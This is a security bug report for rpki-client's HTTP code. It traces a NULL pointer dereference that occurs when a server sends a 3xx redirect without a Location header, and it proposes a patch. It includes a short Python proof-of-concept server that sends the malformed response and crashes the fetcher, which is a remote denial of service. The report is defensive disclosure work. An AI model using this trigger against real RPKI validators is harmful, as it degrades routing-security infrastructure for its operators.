BUG REPORT: NULL pointer dereference in http_redirect()
========================================================
Component: rpki-client
File: usr.sbin/rpki-client/http.c
Version: Current (as of 2026-04-06)
Severity: Medium (CVSS 6.5)
Category: NULL pointer dereference — remote DoS
Privsep: proc_http (pledge("stdio inet dns recvfd"))
1. DESCRIPTION
--------------
When an HTTP server returns a 3xx redirect status code without a
Location: header, http_redirect() dereferences a NULL pointer, crashing
the proc_http child process.
The call chain:
1. http_isredirect() (line 1326) checks only the status code:
static inline int
http_isredirect(struct http_connection *conn)
{
if ((conn->status >= 301 && conn->status <= 303) ||
conn->status == 307 || conn->status == 308)
return 1;
return 0;
}
It does NOT check whether a Location: header was received.
2. conn->redir_uri is set ONLY when a Location: header is parsed,
at line 1436 inside http_parse_header():
conn->redir_uri = redirurl;
This code is reached only when http_isredirect(conn) is true AND
the response contains a "Location:" header line. If the header is
absent, conn->redir_uri remains its initialized value of NULL.
3. The call site at lines 1630-1632:
if (http_isok(conn) || http_isredirect(conn)) {
if (http_isredirect(conn))
http_redirect(conn);
Calls http_redirect() solely based on the status code, with no
check on conn->redir_uri.
4. Inside http_redirect() (line 1343):
uri = conn->redir_uri; /* line 1353: uri = NULL */
conn->redir_uri = NULL;
...
logx("redirect to %s", http_info(uri)); /* line 1360 */
5. http_info() (line 220) passes the NULL uri to strnvis():
strnvis(buf, uri, sizeof buf, VIS_SAFE); /* line 225: CRASH */
strnvis() dereferences its src argument unconditionally.
This is a NULL pointer dereference.
2. PROOF OF CONCEPT
--------------------
An attacker who controls an RRDP repository endpoint (or performs a
man-in-the-middle on an HTTP connection) sends:
HTTP/1.1 301 Moved Permanently\r\n
Content-Length: 0\r\n
\r\n
Note the absence of a Location: header. This is a malformed but
syntactically valid HTTP response.
To reproduce with a minimal test server:
#!/usr/bin/env python3
"""Minimal server that sends a 301 with no Location header."""
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', 8080))
sock.listen(1)
while True:
conn, addr = sock.accept()
# Read the request (discard it)
conn.recv(4096)
# Send 301 with no Location header
conn.sendall(
b"HTTP/1.1 301 Moved Permanently\r\n"
b"Content-Length: 0\r\n"
b"\r\n"
)
conn.close()
Then configure an RRDP repository notification XML to reference
http://127.0.0.1:8080/ as a snapshot or delta URI. When rpki-client
fetches from this endpoint, proc_http will crash with a NULL pointer
dereference in strnvis().
Impact:
- proc_http crashes. The main process detects the death and falls
back to rsync for the affected repository.
- An attacker controlling a CDN or RRDP endpoint can reliably force
rpki-client to abandon RRDP for that repository, degrading to the
slower rsync transport.
- Repeated triggering constitutes a denial of service against RRDP
fetching.
3. SUGGESTED FIX
-----------------
Guard http_redirect() against a missing Location header. The check
belongs at the call site — consistent with how http.c validates state
before entering each handler:
--- a/usr.sbin/rpki-client/http.c
+++ b/usr.sbin/rpki-client/http.c
@@ -1628,8 +1628,14 @@ again:
/* Check status header and decide what to do next */
if (http_isok(conn) || http_isredirect(conn)) {
- if (http_isredirect(conn))
+ if (http_isredirect(conn)) {
+ if (conn->redir_uri == NULL) {
+ warnx("%s: redirect without "
+ "Location header",
+ conn_info(conn));
+ return http_failed(conn);
+ }
http_redirect(conn);
+ }
if (conn->chunked)
conn->state = STATE_RESPONSE_CHUNKED_HEADER;
